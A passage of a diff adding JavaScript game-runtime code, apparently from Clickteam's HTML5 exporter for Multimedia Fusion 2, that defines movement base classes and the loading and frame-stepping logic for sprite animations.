+ for (q = 0; q < 8; q++)
+ this.oilQualifiers[q] = ocPtr.ocQualifiers[q];
+ }
+ }
+
+ // Global object saving classes
+ // ----------------------------------------------------------
+ function CSaveGlobal()
+ {
+ this.name = null;
+ this.objects = null;
+ }
+ function CSaveGlobalCounter()
+ {
+ this.value = null;
+ this.rsMini = 0;
+ this.rsMaxi = 0;
+ this.rsMiniDouble = 0;
+ this.rsMaxiDouble = 0;
+ }
+ function CSaveGlobalText()
+ {
+ this.text = null;
+ this.rsMini = 0;
+ }
+ function CSaveGlobalValues()
+ {
+ this.values = null;
+ this.strings = null;
+ this.flags = 0;
+ }
+
+ // CRunMBase
+ // ----------------------------------------------------------------------
+ CRunMBase.MTYPE_OBJECT = 0;
+ CRunMBase.MTYPE_ELEMENT = 1;
+ CRunMBase.MTYPE_PARTICULE = 2;
+ CRunMBase.MTYPE_FAKEOBJECT = 3;
+ CRunMBase.MTYPE_BORDERLEFT = 4;
+ CRunMBase.MTYPE_BORDERRIGHT = 5;
+ CRunMBase.MTYPE_BORDERTOP = 6;
+ CRunMBase.MTYPE_BORDERBOTTOM = 7;
+ CRunMBase.MTYPE_OBSTACLE = 8;
+ CRunMBase.MTYPE_PLATFORM = 9;
+ CRunMBase.MSUBTYPE_OBJECT = 0;
+ CRunMBase.MSUBTYPE_BOTTOM = 1;
+ CRunMBase.MSUBTYPE_TOP = 2;
+ CRunMBase.MSUBTYPE_LEFT = 3;
+ CRunMBase.MSUBTYPE_RIGHT = 4;
+ CRunMBase.ANGLE_MAGIC = 123456789;
+ function CRunMBase()
+ {
+ this.m_type = 0;
+ this.m_subType = CRunMBase.MSUBTYPE_OBJECT;
+ this.m_identifier = 0;
+ this.m_stopFlag = false;
+ this.m_pHo = null;
+ this.m_body = null;
+ this.m_currentAngle = 0;
+ this.m_eventCount = 0;
+ this.m_collidingObject = null;
+ this.ho = null;
+ this.rh = null;
+ this.rc = new CRect();
+ this.m_addVX = 0;
+ this.m_addVY = 0;
+ this.m_addVFlag = false;
+ this.m_setVX = 0;
+ this.m_setVY = 0;
+ this.m_setVFlag = false;
+ this.m_image = -1;
+ this.m_background = false;
+ }
+ CRunMBase.prototype =
+ {
+ InitBase: function (pHo, type)
+ {
+ this.m_pHo = pHo;
+ this.m_type = type;
+ this.m_stopFlag = false;
+ m_currentAngle = 0;
+ },
+ AddVelocity: function (vx, vy)
+ {
+ this.m_addVX = vx;
+ this.m_addVY = vy;
+ this.m_addVFlag = true;
+ },
+ SetVelocity: function (vx, vy)
+ {
+ var angle = this.m_body.GetAngle();
+ var position = this.m_body.GetPosition();
+ position.x += vx / 2.56;
+ position.y += vy / 2.56;
+ this.m_base.rBodySetTransform(this.m_body, position, angle);
+ },
+ ResetAddVelocity: function ()
+ {
+ if (this.m_addVFlag)
+ {
+ this.m_addVFlag = false;
+ this.m_addVX = 0;
+ this.m_addVY = 0;
+ }
+ if (this.m_setVFlag)
+ {
+ this.m_setVFlag = false;
+ this.m_setVX = 0;
+ this.m_setVY = 0;
+ }
+ },
+ PrepareCondition: function ()
+ {
+ this.m_stopFlag = false;
+ this.m_eventCount = this.m_pHo.hoAdRunHeader.rh4EventCount;
+ },
+ IsStop: function ()
+ {
+ return this.m_stopFlag;
+ },
+ SetStopFlag: function (flag)
+ {
+ this.m_stopFlag = flag;
+ },
+ SetCollidingObject: function (object)
+ {
+ this.m_collidingObject = object;
+ },
+ CreateBody: function ()
+ {
+ return false;
+ },
+ CreateJoint: function ()
+ {
+ },
+ SetFriction: function (friction)
+ {
+ },
+ SetRestitution: function (restitution)
+ {
+ },
+ SetGravity: function (gravity)
+ {
+ },
+ SetDensity: function (density)
+ {
+ },
+ init: function (hoPtr)
+ {
+ this.ho = hoPtr;
+ this.rh = this.ho.hoAdRunHeader;
+ },
+
+ initialize: function (file)
+ {
+ },
+
+ kill: function ()
+ {
+ },
+
+ move: function ()
+ {
+ return false;
+ },
+
+ setPosition: function (x, y)
+ {
+ },
+
+ setXPosition: function (x)
+ {
+ },
+
+ setYPosition: function (y)
+ {
+ },
+
+ stop: function (bCurrent)
+ {
+ },
+
+ bounce: function (bCurrent)
+ {
+ },
+
+ reverse: function ()
+ {
+ },
+
+ start: function ()
+ {
+ },
+
+ setSpeed: function (speed)
+ {
+ },
+
+ setMaxSpeed: function (speed)
+ {
+ },
+
+ setDir: function (dir)
+ {
+ },
+
+ setAcc: function (acc)
+ {
+ },
+
+ setDec: function (dec)
+ {
+ },
+
+ setRotSpeed: function (speed)
+ {
+ },
+
+ set8Dirs: function (dirs)
+ {
+ },
+
+ setGravity: function (gravity)
+ {
+ },
+
+ extension: function (func, param)
+ {
+ return 0;
+ },
+
+ actionEntry: function (action)
+ {
+ return 0;
+ },
+
+ getSpeed: function ()
+ {
+ return 0;
+ },
+
+ getAcceleration: function ()
+ {
+ return 0;
+ },
+
+ getDeceleration: function ()
+ {
+ return 0;
+ },
+
+ getGravity: function ()
+ {
+ return 0;
+ },
+
+ dirAtStart: function (dir)
+ {
+ return this.ho.rom.dirAtStart(this.ho, dir, 32);
+ },
+
+ animations: function (anm)
+ {
+ this.ho.roc.rcAnim = anm;
+ if (this.ho.roa != null)
+ {
+ this.ho.roa.animate();
+ }
+ },
+
+ collisions: function ()
+ {
+ this.ho.hoAdRunHeader.rh3CollisionCount++;
+ this.ho.rom.rmMovement.rmCollisionCount = this.ho.hoAdRunHeader.rh3CollisionCount;
+ this.ho.hoAdRunHeader.newHandle_Collisions(this.ho);
+ },
+
+ approachObject: function (destX, destY, originX, originY, htFoot, planCol, ptDest)
+ {
+ destX -= this.ho.hoAdRunHeader.rhWindowX;
+ destY -= this.ho.hoAdRunHeader.rhWindowY;
+ originX -= this.ho.hoAdRunHeader.rhWindowX;
+ originY -= this.ho.hoAdRunHeader.rhWindowY;
+ var bRet = this.ho.rom.rmMovement.mpApproachSprite(destX, destY, originX, originY, htFoot, planCol, ptDest);
+ ptDest.x += this.ho.hoAdRunHeader.rhWindowX;
+ ptDest.y += this.ho.hoAdRunHeader.rhWindowY;
+ return bRet;
+ },
+
+ moveIt: function ()
+ {
+ return this.ho.rom.rmMovement.newMake_Move(this.ho.roc.rcSpeed, this.hoPtr.hoAdRunHeader.getDir(this.hoPtr));
+ },
+
+ testPosition: function (x, y, htFoot, planCol, flag)
+ {
+ return this.ho.rom.rmMovement.tst_SpritePosition(x, y, htFoot, planCol, flag);
+ },
+
+ getJoystick: function (player)
+ {
+ return this.ho.hoAdRunHeader.rhPlayer[player];
+ },
+
+ colMaskTestRect: function (x, y, sx, sy, layer, plan)
+ {
+ return !this.ho.hoAdRunHeader.colMask_Test_Rect(x, y, sx, sy, layer, plan);
+ },
+
+ colMaskTestPoint: function (x, y, layer, plan)
+ {
+ return !this.ho.hoAdRunHeader.colMask_Test_XY(x, y, layer, plan);
+ },
+
+ getParamDouble: function ()
+ {
+ return this.ho.rom.rmMovement.callParam;
+ },
+
+ getParam: function ()
+ {
+ return this.ho.rom.rmMovement.callParam;
+ },
+
+ getAngle: function ()
+ {
+ return 0;
+ },
+
+ setAngle: function (angle)
+ {
+ }
+
+
+ }
+
+ // CAnim object
+ // -----------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ CAnim.ANIMID_STOP = 0;
+ CAnim.ANIMID_WALK = 1;
+ CAnim.ANIMID_RUN = 2;
+ CAnim.ANIMID_APPEAR = 3;
+ CAnim.ANIMID_DISAPPEAR = 4;
+ CAnim.ANIMID_BOUNCE = 5;
+ CAnim.ANIMID_SHOOT = 6;
+ CAnim.ANIMID_JUMP = 7;
+ CAnim.ANIMID_FALL = 8;
+ CAnim.ANIMID_CLIMB = 9;
+ CAnim.ANIMID_CROUCH = 10;
+ CAnim.ANIMID_UNCROUCH = 11;
+ CAnim.ANIMID_USER1 = 12;
+ CAnim.tableAnimTwoSpeeds =
+ [
+ 0,
+ 1,
+ 1,
+ 0,
+ 0,
+ 1,
+ 0,
+ 1,
+ 1,
+ 1,
+ 1,
+ 1,
+ 1,
+ 1,
+ 1,
+ 1
+ ];
+ function CAnim()
+ {
+ this.anDirs = null;
+ this.anTrigo = null;
+ this.anAntiTrigo = null;
+ }
+ CAnim.prototype =
+ {
+ load: function (file)
+ {
+ var debut = file.getFilePointer();
+
+ var offsets = new Array(32);
+ var n;
+ for (n = 0; n < 32; n++)
+ {
+ offsets[n] = file.readAShort();
+ }
+
+ this.anDirs = new Array(32);
+ this.anTrigo = new Array(32);
+ this.anAntiTrigo = new Array(32);
+ for (n = 0; n < 32; n++)
+ {
+ this.anDirs[n] = null;
+ this.anTrigo[n] = 0;
+ this.anAntiTrigo[n] = 0;
+ if (offsets[n] != 0)
+ {
+ this.anDirs[n] = new CAnimDir();
+ file.seek(debut + offsets[n]);
+ this.anDirs[n].load(file);
+ }
+ }
+ },
+ enumElements: function (enumImages)
+ {
+ var n;
+ for (n = 0; n < 32; n++)
+ {
+ if (this.anDirs[n] != null)
+ {
+ this.anDirs[n].enumElements(enumImages);
+ }
+ }
+ },
+ approximate: function (nAnim)
+ {
+ var d, d2, d3;
+ var cpt1, cpt2;
+
+ for (d = 0; d < 32; d++)
+ {
+ if (this.anDirs[d] == null)
+ {
+ for (d2 = 0, cpt1 = d + 1; d2 < 32; d2++, cpt1++)
+ {
+ cpt1 = cpt1 & 0x1F;
+ if (this.anDirs[cpt1] != null)
+ {
+ this.anTrigo[d] = cpt1;
+ break;
+ }
+ }
+ for (d3 = 0, cpt2 = d - 1; d3 < 32; d3++, cpt2--)
+ {
+ cpt2 = cpt2 & 0x1F;
+ if (this.anDirs[cpt2] != null)
+ {
+ this.anAntiTrigo[d] = cpt2;
+ break;
+ }
+ }
+ if (cpt1 == cpt2 || d2 < d3)
+ {
+ this.anTrigo[d] |= 0x40;
+ }
+ else if (d3 < d2)
+ {
+ this.anAntiTrigo[d] |= 0x40;
+ }
+ }
+ else
+ {
+ if (nAnim < 16)
+ {
+ if (CAnim.tableAnimTwoSpeeds[nAnim] == 0)
+ {
+ this.anDirs[d].adMinSpeed = this.anDirs[d].adMaxSpeed;
+ }
+ }
+ }
+ }
+ }
+ }
+
+
+ // CAnimHeader object
+ // -----------------------------------------------------------------
+ CAnimHeader.tableApprox =
+ [
+ CAnim.ANIMID_APPEAR, CAnim.ANIMID_WALK, CAnim.ANIMID_RUN, 0, // 0 ANIMID_STOP
+ CAnim.ANIMID_RUN, CAnim.ANIMID_STOP, 0, 0, // 1 ANIMID_WALK
+ CAnim.ANIMID_WALK, CAnim.ANIMID_STOP, 0, 0, // 2 ANIMID_RUN
+ CAnim.ANIMID_STOP, CAnim.ANIMID_WALK, CAnim.ANIMID_RUN, 0, // 3 ANIMID_APPEAR
+ CAnim.ANIMID_STOP, 0, 0, 0, // 4 ANIMID_DISAPPEAR
+ CAnim.ANIMID_STOP, CAnim.ANIMID_WALK, CAnim.ANIMID_RUN, 0, // 5 ANIMID_BOUNCE
+ CAnim.ANIMID_STOP, CAnim.ANIMID_WALK, CAnim.ANIMID_RUN, 0, // 6 ANIMID_SHOOT
+ CAnim.ANIMID_WALK, CAnim.ANIMID_RUN, CAnim.ANIMID_STOP, 0, // 7 ANIMID_JUMP
+ CAnim.ANIMID_STOP, CAnim.ANIMID_WALK, CAnim.ANIMID_RUN, 0, // 8 ANIMID_FALL
+ CAnim.ANIMID_WALK, CAnim.ANIMID_RUN, CAnim.ANIMID_STOP, 0, // 9 ANIMID_CLIMB
+ CAnim.ANIMID_STOP, CAnim.ANIMID_WALK, CAnim.ANIMID_RUN, 0, // 10 ANIMID_CROUCH
+ CAnim.ANIMID_STOP, CAnim.ANIMID_WALK, CAnim.ANIMID_RUN, 0, // 11 ANIMID_UNCROUCH
+ 0, 0, 0, 0,
+ 0, 0, 0, 0,
+ 0, 0, 0, 0,
+ 0, 0, 0, 0
+ ];
+ function CAnimHeader()
+ {
+ this.ahAnimMax = 0;
+ this.ahAnims = null;
+ this.ahAnimExists = null;
+ }
+ CAnimHeader.prototype =
+ {
+ load: function (file)
+ {
+ var debut = file.getFilePointer();
+
+ file.skipBytes(2); // ahSize
+ this.ahAnimMax = file.readAShort();
+
+ var offsets = new Array(this.ahAnimMax);
+ var n;
+ for (n = 0; n < this.ahAnimMax; n++)
+ {
+ offsets[n] = file.readAShort();
+ }
+
+ this.ahAnims = new Array(this.ahAnimMax);
+ this.ahAnimExists = new Array(this.ahAnimMax);
+ for (n = 0; n < this.ahAnimMax; n++)
+ {
+ this.ahAnims[n] = null;
+ this.ahAnimExists[n] = 0;
+ if (offsets[n] != 0)
+ {
+ this.ahAnims[n] = new CAnim();
+ file.seek(debut + offsets[n]);
+ this.ahAnims[n].load(file);
+ this.ahAnimExists[n] = 1;
+ }
+ }
+ var cptAnim;
+ for (cptAnim = 0; cptAnim < this.ahAnimMax; cptAnim++)
+ {
+ if (this.ahAnimExists[cptAnim] == 0)
+ {
+ var bFlag = false;
+ if (cptAnim < 12)
+ {
+ for (n = 0; n < 4; n++)
+ {
+ var a = this.ahAnimExists[CAnimHeader.tableApprox[cptAnim * 4 + n]];
+ if (a != 0)
+ {
+ this.ahAnims[cptAnim] = this.ahAnims[CAnimHeader.tableApprox[cptAnim * 4 + n]];
+ bFlag = true;
+ break;
+ }
+ }
+ }
+ if (bFlag == false)
+ {
+ for (n = 0; n < this.ahAnimMax; n++)
+ {
+ if (this.ahAnimExists[n] != 0)
+ {
+ this.ahAnims[cptAnim] = this.ahAnims[n];
+ break;
+ }
+ }
+ }
+ }
+ else
+ {
+ this.ahAnims[cptAnim].approximate(cptAnim);
+ }
+ }
+ },
+
+ enumElements: function (enumImages)
+ {
+ var n;
+ for (n = 0; n < this.ahAnimMax; n++)
+ {
+ if (this.ahAnimExists[n] != 0)
+ {
+ this.ahAnims[n].enumElements(enumImages);
+ }
+ }
+ }
+ }
+
+ // CAnimDir object
+ // -----------------------------------------------------------------
+ function CAnimDir()
+ {
+ this.adMinSpeed = 0;
+ this.adMaxSpeed = 0;
+ this.adRepeat = 0;
+ this.adRepeatFrame = 0;
+ this.adNumberOfFrame = 0;
+ this.adFrames = null;
+ }
+ CAnimDir.prototype =
+ {
+ load: function (file)
+ {
+ this.adMinSpeed = file.readAByte();
+ this.adMaxSpeed = file.readAByte();
+ this.adRepeat = file.readAShort();
+ this.adRepeatFrame = file.readAShort();
+ this.adNumberOfFrame = file.readAShort();
+
+ this.adFrames = new Array(this.adNumberOfFrame);
+ var n;
+ for (n = 0; n < this.adNumberOfFrame; n++)
+ {
+ this.adFrames[n] = file.readAShort();
+ }
+ },
+ enumElements: function (enumImages)
+ {
+ var n;
+ for (n = 0; n < this.adNumberOfFrame; n++)
+ {
+ if (enumImages != null)
+ {
+ var num = enumImages.enumerate(this.adFrames[n]);
+ if (num != -1)
+ {
+ this.adFrames[n] = num;
+ }
+ }
+ }
+ }
+ }
+
+ // CRAni object
+ // -----------------------------------------------------------------
+ CRAni.anim_Defined =
+ [
+ CAnim.ANIMID_STOP,
+ CAnim.ANIMID_WALK,
+ CAnim.ANIMID_RUN,
+ CAnim.ANIMID_BOUNCE,
+ CAnim.ANIMID_SHOOT,
+ CAnim.ANIMID_JUMP,
+ CAnim.ANIMID_FALL,
+ CAnim.ANIMID_CLIMB,
+ CAnim.ANIMID_CROUCH,
+ CAnim.ANIMID_UNCROUCH,
+ 12,
+ 13,
+ 14,
+ 15,
+ -1
+ ];
+ function CRAni()
+ {
+ this.hoPtr = null;
+ this.raAnimForced = 0; // Flags if forced
+ this.raAnimDirForced = 0;
+ this.raAnimSpeedForced = 0;
+ this.raAnimStopped = false;
+ this.raAnimOn = 0; // Current animation
+ this.raAnimOffset = null;
+ this.raAnimDir = 0; // Direction of current animation
+ this.raAnimPreviousDir = 0; // Previous OK direction
+ this.raAnimDirOffset = null;
+ this.raAnimSpeed = 0;
+ this.raAnimMinSpeed = 0; // Minimum speed of movement
+ this.raAnimMaxSpeed = 0; // Maximum speed of movement
+ this.raAnimDeltaSpeed = 0;
+ this.raAnimCounter = 0; // Animation speed counter
+ this.raAnimDelta = 0; // Speed counter
+ this.raAnimRepeat = 0; // Number of repeats
+ this.raAnimRepeatLoop = 0; // Looping picture
+ this.raAnimFrame = 0; // Current frame
+ this.raAnimNumberOfFrame = 0; // Number of frames
+ this.raAnimFrameForced = 0;
+ this.raRoutineAnimation = 0;
+ this.raOldAngle = -1;
+ }
+ CRAni.prototype =
+ {
+ init: function (ho)
+ {
+ this.hoPtr = ho;
+
+ this.raRoutineAnimation = 0;
+ this.init_Animation(CAnim.ANIMID_WALK);
+
+ if (this.anim_Exist(CAnim.ANIMID_APPEAR))
+ {
+ this.raRoutineAnimation = 1;
+ this.animation_Force(CAnim.ANIMID_APPEAR);
+ this.animation_OneLoop();
+ this.animations();
+ }
+ else
+ {
+ var i;
+ for (i = 0; CRAni.anim_Defined[i] >= 0; i++)
+ {
+ if (this.anim_Exist(CRAni.anim_Defined[i]))
+ break;
+ }
+ if (CRAni.anim_Defined[i] < 0)
+ {
+ if (this.anim_Exist(CAnim.ANIMID_DISAPPEAR))
+ {
+ this.raRoutineAnimation = 2;
+ this.animation_Force(CAnim.ANIMID_DISAPPEAR);
+ this.animation_OneLoop();
+ this.animations();
+ }
+ }
+ }
+ },
+
+ init_Animation: function (anim)
+ {
+ this.hoPtr.roc.rcAnim = anim;
+ this.raAnimStopped = false;
+ this.raAnimForced = 0;
+ this.raAnimDirForced = 0;
+ this.raAnimSpeedForced = 0;
+ this.raAnimFrameForced = 0;
+ this.raAnimCounter = 0;
+ this.raAnimFrame = 0;
+ this.raAnimOffset = null;
+ this.raAnimDirOffset = null;
+ this.raAnimOn = -1;
+ this.raAnimMinSpeed = -1;
+ this.raAnimPreviousDir = -1;
+ this.raAnimOffset = null;
+ this.raAnimDirOffset = null;
+ this.animations();
+ },
+
+ check_Animate: function ()
+ {
+ this.animIn(0);
+ },
+
+ extAnimations: function (anim)
+ {
+ this.hoPtr.roc.rcAnim = anim;
+ this.animate();
+ },
+
+ animate: function ()
+ {
+ switch (this.raRoutineAnimation)
+ {
+ case 0:
+ return this.animations();
+ case 1:
+ this.anim_Appear();
+ return false;
+ case 2:
+ this.anim_Disappear();
+ return false;
+ }
+ return false;
+ },
+
+ animations: function ()
+ {
+ var x = this.hoPtr.hoX;
+ this.hoPtr.roc.rcOldX = x;
+ x -= this.hoPtr.hoImgXSpot;
+ this.hoPtr.roc.rcOldX1 = x;
+ x += this.hoPtr.hoImgWidth;
+ this.hoPtr.roc.rcOldX2 = x;
+
+ var y = this.hoPtr.hoY;
+ this.hoPtr.roc.rcOldY = y;
+ y -= this.hoPtr.hoImgYSpot;
+ this.hoPtr.roc.rcOldY1 = y;
+ y += this.hoPtr.hoImgHeight;
+ this.hoPtr.roc.rcOldY2 = y;
+
+ this.hoPtr.roc.rcOldImage = this.hoPtr.roc.rcImage;
+ this.hoPtr.roc.rcOldAngle = this.hoPtr.roc.rcAngle;
+
+ return this.animIn(1);
+ },
+
+ animIn: function (vbl)
+ {
+ var ocPtr = this.hoPtr.hoCommon;
+
+ var speed = this.hoPtr.roc.rcSpeed;
+ var anim = this.hoPtr.roc.rcAnim;
+
+ if (this.raAnimSpeedForced != 0)
+ {
+ speed = this.raAnimSpeedForced - 1;
+ }
+ if (anim == CAnim.ANIMID_WALK)
+ {
+ if (speed == 0)
+ {
+ anim = CAnim.ANIMID_STOP;
+ }
+ if (speed >= 75)
+ {
+ anim = CAnim.ANIMID_RUN;
+ }
+ }
+ if (this.raAnimForced != 0)
+ {
+ anim = this.raAnimForced - 1;
+ }
+ if (anim != this.raAnimOn)
+ {
+ this.raAnimOn = anim;
+ if (anim >= ocPtr.ocAnimations.ahAnimMax)
+ {
+ anim = ocPtr.ocAnimations.ahAnimMax - 1;
+ }
+ var anPtr = ocPtr.ocAnimations.ahAnims[anim];
+ if (anPtr != this.raAnimOffset)
+ {
+ this.raAnimOffset = anPtr;
+ this.raAnimDir = -1;
+ this.raAnimFrame = 0;
+ if ((this.hoPtr.hoOEFlags & CObjectCommon.OEFLAG_DONTRESETANIMCOUNTER) == 0) // Added for bug http://bugbox.clickteam.com/issues/3421, triggered by fix below...
+ this.raAnimCounter = 0; // Build 284.11, report from Android, fixes bug http://bugbox.clickteam.com/issues/1882
+ }
+ }
+
+ var ifo;
+ var image = 0;
+ var frame = 0;
+ var rhPtr = this.hoPtr.hoAdRunHeader;
+ var dir = this.hoPtr.roc.rcDir % 32;
+ var bAngle = false;
+
+ if (this.raAnimDirForced != 0)
+ {
+ dir = this.raAnimDirForced - 1;
+ }
+ var adPtr;
+ if (this.raAnimDir != dir)
+ {
+ this.raAnimDir = dir;
+
+ adPtr = this.raAnimOffset.anDirs[dir];
+ if (adPtr == null)
+ {
+ if ((this.raAnimOffset.anAntiTrigo[dir] & 0x40) != 0)
+ {
+ dir = this.raAnimOffset.anAntiTrigo[dir] & 0x3F;
+ }
+ else if ((this.raAnimOffset.anTrigo[dir] & 0x40) != 0)
+ {
+ dir = this.raAnimOffset.anTrigo[dir] & 0x3F;
+ }
+ else
+ {
+ var offset = dir;
+ if (this.raAnimPreviousDir < 0)
+ {
+ dir = this.raAnimOffset.anTrigo[dir] & 0x3F;
+ ;
+ }
+ else
+ {
+ dir -= this.raAnimPreviousDir;
+ dir &= 31;
+ if (dir > 15)
+ {
+ dir = this.raAnimOffset.anTrigo[offset] & 0x3F;
+ ;
+ }
+ else
+ {
+ dir = this.raAnimOffset.anAntiTrigo[offset] & 0x3F;
+ }
+ }
+ }
+ adPtr = this.raAnimOffset.anDirs[dir];
+ }
+ else
+ {
+ this.raAnimPreviousDir = dir;
+ adPtr = this.raAnimOffset.anDirs[dir];
+ }
+
+ if (this.raAnimOffset.anDirs[0] != null && (this.hoPtr.hoCommon.ocFlags2 & CObjectCommon.OCFLAGS2_AUTOMATICROTATION) != 0)
+ {
+ this.hoPtr.roc.rcAngle = (this.raAnimDir * 360) / 32;
+ adPtr = this.raAnimOffset.anDirs[0];
+ this.raAnimDirOffset = null;
+ bAngle = true;
+ }
+
+ if (this.raAnimDirOffset != adPtr)
+ {
+ this.raAnimDirOffset = adPtr;
+ this.raAnimRepeat = adPtr.adRepeat;
+ this.raAnimRepeatLoop = adPtr.adRepeatFrame;
+
+ var minSpeed = adPtr.adMinSpeed;
+ var maxSpeed = adPtr.adMaxSpeed;
+
+ if (minSpeed != this.raAnimMinSpeed || maxSpeed != this.raAnimMaxSpeed)
+ {
+ this.raAnimMinSpeed = minSpeed;
+ this.raAnimMaxSpeed = maxSpeed;
+ maxSpeed -= minSpeed;
+ this.raAnimDeltaSpeed = maxSpeed;
+ this.raAnimDelta = minSpeed;
+ this.raAnimSpeed = -1;
+ }
+
+ this.raAnimNumberOfFrame = adPtr.adNumberOfFrame;
+ if (this.raAnimFrameForced != 0 && this.raAnimFrameForced - 1 >= this.raAnimNumberOfFrame)
+ this.raAnimFrameForced = 0;
+ if (this.raAnimFrame >= this.raAnimNumberOfFrame)
+ this.raAnimFrame = 0;
+ image = adPtr.adFrames[this.raAnimFrame];
+ if (this.raAnimStopped == false)
+ {
+ this.hoPtr.roc.rcImage = image;
+ ifo = this.hoPtr.hoAdRunHeader.rhApp.imageBank.getImageInfoEx(image, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY);
+ if (ifo != null)
+ {
+ this.hoPtr.hoImgWidth = ifo.width;
+ this.hoPtr.hoImgHeight = ifo.height;
+ this.hoPtr.hoImgXSpot = ifo.xSpot;
+ this.hoPtr.hoImgYSpot = ifo.ySpot;
+ this.hoPtr.hoImgXAP = ifo.xAP;
+ this.hoPtr.hoImgYAP = ifo.yAP;
+ }
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ if (this.raAnimNumberOfFrame == 1)
+ {
+ if (this.raAnimMinSpeed == 0)
+ {
+ this.raAnimNumberOfFrame = 0;
+ }
+ image = this.hoPtr.roc.rcImage;
+ if (image == 0)
+ {
+ return false;
+ }
+ ifo = this.hoPtr.hoAdRunHeader.rhApp.imageBank.getImageInfoEx(image, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY);
+ if (ifo != null)
+ {
+ this.hoPtr.hoImgWidth = ifo.width;
+ this.hoPtr.hoImgHeight = ifo.height;
+ this.hoPtr.hoImgXSpot = ifo.xSpot;
+ this.hoPtr.hoImgYSpot = ifo.ySpot;
+ this.hoPtr.hoImgXAP = ifo.xAP;
+ this.hoPtr.hoImgYAP = ifo.yAP;
+ }
+ return false;
+ }
+ }
+ }
+
+ if (vbl == 0 && this.raAnimFrameForced == 0)
+ {
+ return false;
+ }
+ if (bAngle == false && this.raAnimNumberOfFrame == 0)
+ {
+ return false;
+ }
+
+ var delta = this.raAnimDeltaSpeed;
+ if (speed != this.raAnimSpeed)
+ {
+ this.raAnimSpeed = speed;
+
+ if (delta == 0)
+ {
+ this.raAnimDelta = this.raAnimMinSpeed;
+ if (this.raAnimSpeedForced != 0)
+ this.raAnimDelta = this.raAnimSpeedForced - 1;
+ }
+ else
+ {
+ var deltaSpeed = this.hoPtr.roc.rcMaxSpeed - this.hoPtr.roc.rcMinSpeed;
+ if (deltaSpeed == 0)
+ {
+ if (this.raAnimSpeedForced != 0)
+ {
+ delta *= speed;
+ delta /= 100;
+ delta += this.raAnimMinSpeed;
+ if (delta > this.raAnimMaxSpeed)
+ delta = this.raAnimMaxSpeed;
+ this.raAnimDelta = delta;
+ }
+ else
+ {
+ delta /= 2;
+ delta += this.raAnimMinSpeed;
+ this.raAnimDelta = delta;
+ }
+ }
+ else
+ {
+ delta *= speed;
+ delta /= deltaSpeed;
+ delta += this.raAnimMinSpeed;
+ if (delta > this.raAnimMaxSpeed)
+ delta = this.raAnimMaxSpeed;
+ this.raAnimDelta = delta;
+ }
+ }
+ }
+
+ adPtr = this.raAnimDirOffset;
+ frame = this.raAnimFrameForced;
+ var counter;
+ if (frame == 0)
+ {
+ if (this.raAnimDelta == 0 || this.raAnimStopped)
+ {
+ return false;
+ }
+
+ counter = this.raAnimCounter;
+ frame = this.raAnimFrame;
+ var aDelta = this.raAnimDelta;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ aDelta = Math.round(aDelta * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef);
+ counter += aDelta;
+ while (counter > 100)
+ {
+ counter -= 100;
+ frame++;
+ if (frame >= this.raAnimNumberOfFrame)
+ {
+ frame = this.raAnimRepeatLoop;
+ if (this.raAnimRepeat != 0)
+ {
+ this.raAnimRepeat--;
+ if (this.raAnimRepeat == 0)
+ {
+ this.raAnimFrame = this.raAnimNumberOfFrame-1;
+ this.raAnimNumberOfFrame = 0;
+ if (this.raAnimForced != 0)
+ {
+ this.raAnimForced = 0;
+ this.raAnimDirForced = 0;
+ this.raAnimSpeedForced = 0;
+ }
+
+ if ( this.raAnimFrame < adPtr.adNumberOfFrame )
+ {
+ image = adPtr.adFrames[this.raAnimFrame];
+ if ( image != this.hoPtr.roc.rcImage )
+ {
+ this.hoPtr.roc.rcImage = image;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ }
+ this.raAnimCounter = counter;
+
+ if ((this.hoPtr.hoAdRunHeader.rhGameFlags & CRun.GAMEFLAGS_INITIALISING) != 0)
+ return false;
+ if (bAngle)
+ {
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ ifo = this.hoPtr.hoAdRunHeader.rhApp.imageBank.getImageInfoEx(this.hoPtr.roc.rcImage, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY);
+ if (ifo != null)
+ {
+ this.hoPtr.hoImgWidth = ifo.width;
+ this.hoPtr.hoImgHeight = ifo.height;
+ this.hoPtr.hoImgXSpot = ifo.xSpot;
+ this.hoPtr.hoImgYSpot = ifo.ySpot;
+ this.hoPtr.hoImgXAP = ifo.xAP;
+ this.hoPtr.hoImgYAP = ifo.yAP;
+ }
+ }
+ var cond = (-2 << 16); // CNDL_EXTANIMENDOF;
+ cond |= (this.hoPtr.hoType & 0xFFFF);
+ this.hoPtr.hoAdRunHeader.rhEvtProg.rhCurParam0 = this.hoPtr.roa.raAnimOn;
+ return this.hoPtr.hoAdRunHeader.rhEvtProg.handle_Event(this.hoPtr, cond);
+ }
+ }
+ }
+ }
+ this.raAnimCounter = counter;
+ }
+ else
+ {
+ frame--;
+ }
+ this.raAnimFrame = frame;
+ this.hoPtr.roc.rcChanged = true;
